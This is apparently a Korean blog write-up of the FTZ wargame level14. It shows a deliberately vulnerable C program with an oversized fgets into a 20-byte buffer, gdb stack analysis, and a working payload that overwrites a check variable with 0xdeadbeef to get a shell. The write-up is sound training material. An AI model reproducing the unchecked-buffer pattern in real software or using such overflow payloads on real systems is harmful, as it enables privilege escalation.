반응형
[FTZ] level14
level14 문제를 확인해 보면
버퍼오버플로우나 포맷스트링으로 푸는 문제이다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
코드를 확인하면, 문제를 풀기 위해 필요한 정보는 두가지이다.
1. fgets 함수에서 길이값 검증을 하지 않아 buf의 원래 길이는 20 bytes이지만 최대 45 bytes까지 입력 가능하다.
2. 쉘을 획득하기 위해서는 if함수를 통과해야하는데 이를 만족시키기 위해서, check 변수가 0xdeadbeef여야 한다.
gdb를 통해서 attakme를 분석해 보면,
push ebp
mov ebp, esp
함수 프롤로그를 통해서 함수가 시작되고,
변수 할당을 위해서 sub esp,0x38 명령어로 stack에 할당이 된다.
* 0x38는 10진수로 56bytes이다.
그리고 cmp DWORD PTR [ebp-16], 0xdeadbeef 이 부분이 함수에서의 if문의 함수인데, 비교(compare)를 하기 위해서 [ebp-16] 위치랑 0xdeadbeef와 비교하는 것을 통해서 check 변수의 위치가 ebp-16인 것을 알 수 있다.
쉘을 획득하기 위해서 buf를 check부분까지 덮어쓰면 될 것 같다.
buf(20bytes) + dummy(20bytes) + check(4bytes)
1. buf(20bytes) + dummy(20bytes) ▶ 40bytes 길이에 'A' 삽입
2. check(4bytes) ▶ 0xdeadbeef 삽입
위의 정보를 넣어서 만든 코드 :
(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat) | ./attackme
성공!
[참고]
main 함수로 입력받는 게 아니니까 파이프(|) 이용해야 한다!! 처음에 아무 생각 인자값으로 넣으니까 안 풀렸음.
반응형